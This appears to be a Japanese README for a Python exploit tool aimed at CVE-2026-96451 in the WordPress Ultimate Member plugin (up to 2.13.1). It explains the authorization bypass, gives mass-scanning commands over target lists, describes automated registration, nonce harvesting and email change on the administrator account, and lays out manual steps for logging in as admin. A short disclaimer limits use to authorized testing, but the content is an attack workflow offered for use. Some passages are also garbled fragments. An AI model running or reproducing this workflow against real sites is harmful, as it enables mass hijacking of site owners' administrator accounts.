
WordPress Ultimate Member <= 2.13.1 における CVE-2026-96451 の Python エクスプロイト:登録、nonce の収集、およびメール変更によるアカウント乗っ取りをターゲットリスト全体にわたって自動化します。
WordPress Ultimate Member プラグイン <= 2.13.1 - 権限昇格の脆弱性
Ultimate Member <= 2.13.1 — 権限昇格 / アカウント乗っ取り
📌 公式記録: CVE-2026-96451
CVE.org より:
Ultimate Member におけるユーザー制御キーによる認可バイパスの脆弱性は、Ultimate Member の Ultimate Member において権限昇格を可能にします。この問題は Ultimate Member: n/a から 2.13.1 までに影響します。
| フィールド | 値 |
|---|---|
| 🆔 CVE | CVE-2026-96451 |
| 🏷️ CWE | CWE-639 — ユーザー制御キーによる認可バイパス |
| 📊 CVSS 3.1 | 8.8 HIGH AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H |
| 🏢 割り当て者 | Patchstack |
| ⚠️ 影響範囲 | Ultimate Member 2.13.1 まで |
| ✅ 修正済み | 2.14.0 |
ログイン済みの購読者は、他のユーザー(通常は管理者)のメールアドレスを変更できます。その後、WordPress はその新しいメールボックス宛てのパスワードリセットを受け入れます。
um_fetch_user($user_id) を呼び出し、グローバルユーザーを URL 内の ID に切り替えます。download_routing() は um_reset_user() を実行せずに戻ります。_um_account=1、user_email=...)も含まれています。account_submit() は um_user('ID') を読み取り(この時点では被害者)、新しいメールアドレスを書き込みます。ダウンロード用 nonce は wp_create_nonce($user_id . $form_id . 'um-download-nonce') です。これはそのユーザー ID に紐付けられており、でっち上げることはできません。スクリプトは、表示されている /um-download/{form}/{field}/{user}/{nonce}/ リンクからこの nonce をコピーします。
プロフィール上にカスタムのファイルまたは画像フィールドが表示されている必要があります。組み込みのプロフィール写真/カバー写真では、このリンクは生成されません。
pip install requests rich
登録、ログイン、nonce収集、エクスプロイト、リセット確認は自動です。手動でアカウントを作成する必要はなく、一括スキャン用の購読者パスワードを渡す必要もありません。
python CVE-2026-96451.py -l targets.txt -t 80 --email "[email protected]" -o um_takeover.txt
このコマンドが各ホストで実行する内容:
/account/ を開く/um-download/ nonce を検索(ユーザー ID 1 を優先し、次にファイルを持つ任意のメンバー)--email に設定wp-login.php?action=lostpassword をプローブ(WordPress ではここで nonce は不要)um_takeover.txt に書き込み--email はリセットを受け取れるように対象アカウントに設定されるメールボックスです。スクリプトは受信トレイを開いたり、新しいパスワードを設定したりはしません。最後のステップは手動です。
python CVE-2026-96451.py -u "https://example.com" --email "[email protected]"
| フラグ | 目的 | デフォルト |
|---|---|---|
-l / --list | ターゲットのファイル | — |
-u / --url | 単一のターゲット | — |
-t / --threads | ワーカー数 | 10 |
-o / --output | 結果ファイル | um_takeover.txt |
--email | 被害者に書き込むメールボックス | 自動生成 |
--target-id | 優先ユーザーID | 1 |
--user / --password | 登録せずに既存の加入者を使用 | オフ |
-v / --verbose | 各ステージを出力 | オフ |
低速なRDPボックスでは、80~150スレッドで十分です。リストスキャンでは各ホストに約22秒が割り当てられます。
[5400/11965] RST:0 CHG:0 UM:4463 REG:589 rf:3874 lf:0 na:141 nd:448 nc:0 no:937
| コード | 意味 |
|---|---|
RST / CHG | メールアドレスが変更された、および/またはリセットが受理された — 受信トレイを確認してください |
UM | Ultimate Member を検出 |
REG | 自動登録によりセッションが作成された |
rf | 公開フォーム、CAPTCHA、承認、メール認証のいずれもなし |
lf | 登録されたがログインに失敗した |
na | アカウントページ / nonce が見つからない |
nd | 表示されているダウンロード nonce がない(カスタムファイルフィールドなし) |
nc | エクスプロイトを送信したが、変更は確認されていない |
no | Ultimate Member ではない |
多くのホストで REG_FAIL が発生するのは正常です。チェーンは、登録によってセッションが作成され、かつダウンロードリンクが表示される場合にのみ継続します。
RST または CHG が表示された場合:
--email に渡したメールボックスを開く/wp-login.php または /wp-admin/ でサインインするこのプロジェクトは許可されたセキュリティ研究専用です — 自身が所有するシステム、または書面によるテスト許可を得たシステムにのみ使用してください。
コンピュータシステムへの不正アクセスは違法です。作者は、本ソフトウェアの悪用、損害、またはいかなる結果についても一切の責任を負いません。その使用方法、およびスキャンするすべてのターゲットについては、あなたが単独で責任を負います。
By: Nxploited ( Khaled Alenazi )